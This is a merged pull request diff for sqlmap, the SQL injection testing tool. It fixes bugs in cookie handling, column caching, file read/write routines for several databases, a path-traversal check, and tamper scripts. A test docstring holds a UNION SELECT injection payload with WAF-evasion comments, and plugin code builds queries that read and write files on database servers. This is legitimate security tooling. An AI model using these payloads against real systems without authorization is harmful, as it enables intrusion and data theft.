Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
23 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
76 changes: 38 additions & 38 deletions data/txt/sha256sums.txt

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion lib/core/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -203,7 +203,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)

if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, kb.customInjectionMark)
_ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark)

if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
Expand Down
4 changes: 1 addition & 3 deletions lib/core/common.py
Original file line number Diff line number Diff line change
Expand Up @@ -2884,9 +2884,6 @@ def extractErrorMessage(page):
retVal = None

if isinstance(page, six.string_types):
if wasLastResponseDBMSError():
page = re.sub(r"<[^>]+>", "", page)

for regex in ERROR_PARSING_REGEXES:
match = re.search(regex, page, re.IGNORECASE)

Expand All @@ -2897,6 +2894,7 @@ def extractErrorMessage(page):
break

if not retVal and wasLastResponseDBMSError():
page = re.sub(r"<[^>]+>", "", page)
match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)

if match:
Expand Down
2 changes: 1 addition & 1 deletion lib/core/dump.py
Original file line number Diff line number Diff line change
Expand Up @@ -623,7 +623,7 @@ def dbTableValues(self, tableValues):

if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
try:
mimetype = getText(magic.from_buffer(value, mime=True))
mimetype = getText(magic.from_buffer(getBytes(value), mime=True))
if any(mimetype.startswith(_) for _ in ("application", "image")):
if not os.path.isdir(dumpDbPath):
os.makedirs(dumpDbPath)
Expand Down
2 changes: 1 addition & 1 deletion lib/core/patch.py
Original file line number Diff line number Diff line change
Expand Up @@ -85,7 +85,7 @@ def _(self, *args):
_http_client.LineAndFileWrapper.readline = _

# to prevent too much "guessing" in case of binary data retrieval
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
thirdparty.chardet.universaldetector.UniversalDetector.MINIMUM_THRESHOLD = 0.90

match = re.search(r" --method[= ](\w+)", " ".join(sys.argv))
if match and match.group(1).upper() != PLACE.POST:
Expand Down
2 changes: 1 addition & 1 deletion lib/core/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@
from thirdparty import six

# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.6.12"
VERSION = "1.10.6.34"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
Expand Down
8 changes: 7 additions & 1 deletion lib/request/redirecthandler.py
Original file line number Diff line number Diff line change
Expand Up @@ -136,7 +136,7 @@ def http_error_302(self, req, fp, code, msg, headers):
delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER
last = None

for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter) + ([headers[HTTP_HEADER.SET_COOKIE]] if HTTP_HEADER.SET_COOKIE in headers else []):
for part in getUnicode(req.headers.get(HTTP_HEADER.COOKIE, "")).split(delimiter):
if '=' in part:
part = part.strip()
key, value = part.split('=', 1)
Expand All @@ -145,6 +145,12 @@ def http_error_302(self, req, fp, code, msg, headers):
elif last:
cookies[last] += "%s%s" % (delimiter, part)

if HTTP_HEADER.SET_COOKIE in headers:
for match in re.finditer(r"(?:^|,\s*)([^=;,]+)=([^;,]+)", headers[HTTP_HEADER.SET_COOKIE]):
key = match.group(1).strip()
if key.lower() not in ("expires", "path", "domain", "max-age", "secure", "httponly", "samesite"):
cookies[key] = match.group(2).strip()

req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)

try:
Expand Down
2 changes: 1 addition & 1 deletion lib/utils/api.py
Original file line number Diff line number Diff line change
Expand Up @@ -660,7 +660,7 @@ def download(taskid, target, filename):

path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename))
# Prevent file path traversal
if not path.startswith(paths.SQLMAP_OUTPUT_PATH):
if not path.startswith(os.path.join(paths.SQLMAP_OUTPUT_PATH, "")):
logger.warning("[%s] Forbidden path (%s)" % (taskid, target))
return jsonize({"success": False, "message": "Forbidden path"})

Expand Down
4 changes: 3 additions & 1 deletion lib/utils/brute.py
Original file line number Diff line number Diff line change
Expand Up @@ -310,7 +310,9 @@ def columnExistsThread():
else:
columns[column] = "non-numeric"

kb.data.cachedColumns[conf.db] = {table: columns}
if conf.db not in kb.data.cachedColumns:
kb.data.cachedColumns[conf.db] = {}
kb.data.cachedColumns[conf.db][table] = columns

for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()):
if _ not in kb.brute.columns:
Expand Down
2 changes: 1 addition & 1 deletion lib/utils/har.py
Original file line number Diff line number Diff line change
Expand Up @@ -185,7 +185,7 @@ def toDict(self):
"size": len(self.content or "")
}

binary = set([b'\0', b'\1'])
binary = set([b'\0', b'\1', u'\0', u'\1', 0, 1])
if any(c in binary for c in self.content):
content["encoding"] = "base64"
content["text"] = getText(base64.b64encode(self.content))
Expand Down
5 changes: 3 additions & 2 deletions plugins/dbms/cache/connector.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,8 +37,9 @@ def connect(self):
jar = readInput(msg)
checkFile(jar)
args = "-Djava.class.path=%s" % jar
jvm_path = jpype.getDefaultJVMPath()
jpype.startJVM(jvm_path, args)
if not jpype.isJVMStarted():
jvm_path = jpype.getDefaultJVMPath()
jpype.startJVM(jvm_path, args)
except Exception as ex:
raise SqlmapConnectionException(getSafeExString(ex))

Expand Down
5 changes: 3 additions & 2 deletions plugins/dbms/hsqldb/connector.py
Original file line number Diff line number Diff line change
Expand Up @@ -37,8 +37,9 @@ def connect(self):
jar = readInput(msg)
checkFile(jar)
args = "-Djava.class.path=%s" % jar
jvm_path = jpype.getDefaultJVMPath()
jpype.startJVM(jvm_path, args)
if not jpype.isJVMStarted():
jvm_path = jpype.getDefaultJVMPath()
jpype.startJVM(jvm_path, args)
except Exception as ex:
raise SqlmapConnectionException(getSafeExString(ex))

Expand Down
2 changes: 1 addition & 1 deletion plugins/dbms/hsqldb/filesystem.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@ def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=Fals
logger.debug(debugMsg)

# Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (func_name, remoteFile, fcEncodedStr, max_bytes)
invokeQuery = "CALL %s('%s', X'%s')" % (func_name, remoteFile, fcEncodedStr)
inject.goStacked(invokeQuery)

logger.debug("cleaning up the database management system")
Expand Down
11 changes: 6 additions & 5 deletions plugins/dbms/maxdb/enumeration.py
Original file line number Diff line number Diff line change
Expand Up @@ -197,9 +197,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod
return {conf.db: kb.data.cachedColumns[conf.db]}

if dumpMode and colList:
table = {}
table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {}
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
continue

infoMsg = "fetching columns "
Expand All @@ -219,8 +219,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod
for columnname, datatype, length in _zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]):
columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length)

table[tbl] = columns
kb.data.cachedColumns[conf.db] = table
if conf.db not in kb.data.cachedColumns:
kb.data.cachedColumns[conf.db] = {}
kb.data.cachedColumns[conf.db][tbl] = columns

return kb.data.cachedColumns

Expand Down
3 changes: 2 additions & 1 deletion plugins/dbms/mssqlserver/filesystem.py
Original file line number Diff line number Diff line change
Expand Up @@ -119,7 +119,7 @@ def stackedReadFile(self, remoteFile):
DECLARE @firstint INT
DECLARE @secondint INT

SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
SET @tempint = CONVERT(INT, (SELECT TOP 1 ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
SET @firstint = floor(@tempint/16)
SET @secondint = @tempint - (@firstint * 16)
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
Expand Down Expand Up @@ -336,6 +336,7 @@ def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType):
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581
vbs = codecs.decode(vbs, "rot13")
vbs = vbs.replace(" ", "")
vbs = vbs % (randFilePath, remoteFile)
encodedFileContent = encodeBase64(localFileContent, binary=False)

logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
Expand Down
2 changes: 1 addition & 1 deletion plugins/dbms/mysql/filesystem.py
Original file line number Diff line number Diff line change
Expand Up @@ -79,7 +79,7 @@ def stackedReadFile(self, remoteFile):
if length > chunkSize:
result = []

for i in xrange(1, length, chunkSize):
for i in xrange(1, length + 1, chunkSize):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
else:
Expand Down
29 changes: 14 additions & 15 deletions plugins/dbms/oracle/filesystem.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,25 +31,24 @@ def readFile(self, remoteFile):
payload = agent.payload(newValue=query)
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)

for remoteFile in remoteFile.split(','):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)

kb.fileReadMode = True
fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
kb.fileReadMode = False
kb.fileReadMode = True
fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
kb.fileReadMode = False

if not isNoneValue(fileContent):
fileContent = decodeDbmsHexValue(fileContent, True)
if not isNoneValue(fileContent):
fileContent = decodeDbmsHexValue(fileContent, True)

if fileContent.strip():
localFilePath = dataToOutFile(remoteFile, fileContent)
localFilePaths.append(localFilePath)
if fileContent.strip():
localFilePath = dataToOutFile(remoteFile, fileContent)
localFilePaths.append(localFilePath)

elif not kb.bruteMode:
errMsg = "no data retrieved"
logger.error(errMsg)
elif not kb.bruteMode:
errMsg = "no data retrieved"
logger.error(errMsg)

return localFilePaths

Expand Down
2 changes: 1 addition & 1 deletion plugins/dbms/postgresql/filesystem.py
Original file line number Diff line number Diff line change
Expand Up @@ -65,7 +65,7 @@ def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)

inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT ARRAY_TO_STRING(ARRAY_AGG(%s), '') FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
inject.goStacked("DELETE FROM %s" % self.fileTblName)

self.page += 1
Expand Down
11 changes: 6 additions & 5 deletions plugins/dbms/sybase/enumeration.py
Original file line number Diff line number Diff line change
Expand Up @@ -265,9 +265,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod
return {conf.db: kb.data.cachedColumns[conf.db]}

if dumpMode and colList:
table = {}
table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {}
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
continue

infoMsg = "fetching columns "
Expand All @@ -286,8 +286,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod
for name, type_ in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])):
columns[name] = SYBASE_TYPES.get(int(type_) if hasattr(type_, "isdigit") and type_.isdigit() else type_, type_)

table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {}
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns

break

Expand Down
3 changes: 2 additions & 1 deletion tamper/concat2concatws.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
"""

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
Expand Down Expand Up @@ -35,6 +36,6 @@ def tamper(payload, **kwargs):
"""

if payload:
payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")
payload = re.sub(r"(?i)(?<!GROUP_)CONCAT\(", "CONCAT_WS(MID(CHAR(0),0,0),", payload)

return payload
6 changes: 3 additions & 3 deletions tamper/halfversionedmorekeywords.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,8 +35,8 @@ def tamper(payload, **kwargs):
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html

>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
>>> tamper("1' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"1'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
"""

def process(match):
Expand All @@ -49,7 +49,7 @@ def process(match):
retVal = payload

if payload:
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
retVal = re.sub(r"(?:^|(?<=\W))(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
retVal = retVal.replace(" /*!0", "/*!0")

return retVal
30 changes: 17 additions & 13 deletions tamper/if2case.py
Original file line number Diff line number Diff line change
Expand Up @@ -36,26 +36,30 @@ def tamper(payload, **kwargs):
'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END'
"""

if payload and payload.find("IF") > -1:
if payload and payload.find("IF(") > -1:
payload = payload.replace("()", REPLACEMENT_MARKER)
while payload.find("IF(") > -1:
index = payload.find("IF(")
depth = 1
commas, end = [], None
quote, doublequote = False, False

for i in xrange(index + len("IF("), len(payload)):
if depth == 1 and payload[i] == ',':
commas.append(i)

elif depth == 1 and payload[i] == ')':
end = i
break

elif payload[i] == '(':
depth += 1

elif payload[i] == ')':
depth -= 1
if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'):
quote = not quote
elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'):
doublequote = not doublequote

if not quote and not doublequote:
if depth == 1 and payload[i] == ',':
commas.append(i)
elif depth == 1 and payload[i] == ')':
end = i
break
elif payload[i] == '(':
depth += 1
elif payload[i] == ')':
depth -= 1

if len(commas) == 2 and end:
a = payload[index + len("IF("):commas[0]].strip("()")
Expand Down
30 changes: 17 additions & 13 deletions tamper/ifnull2casewhenisnull.py
Original file line number Diff line number Diff line change
Expand Up @@ -33,25 +33,29 @@ def tamper(payload, **kwargs):
'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END'
"""

if payload and payload.find("IFNULL") > -1:
if payload and payload.find("IFNULL(") > -1:
while payload.find("IFNULL(") > -1:
index = payload.find("IFNULL(")
depth = 1
comma, end = None, None
quote, doublequote = False, False

for i in xrange(index + len("IFNULL("), len(payload)):
if depth == 1 and payload[i] == ',':
comma = i

elif depth == 1 and payload[i] == ')':
end = i
break

elif payload[i] == '(':
depth += 1

elif payload[i] == ')':
depth -= 1
if payload[i] == '\'' and (i == 0 or payload[i - 1] != '\\'):
quote = not quote
elif payload[i] == '"' and (i == 0 or payload[i - 1] != '\\'):
doublequote = not doublequote

if not quote and not doublequote:
if depth == 1 and payload[i] == ',':
comma = i
elif depth == 1 and payload[i] == ')':
end = i
break
elif payload[i] == '(':
depth += 1
elif payload[i] == ')':
depth -= 1

if comma and end:
_ = payload[index + len("IFNULL("):comma]
Expand Down
Loading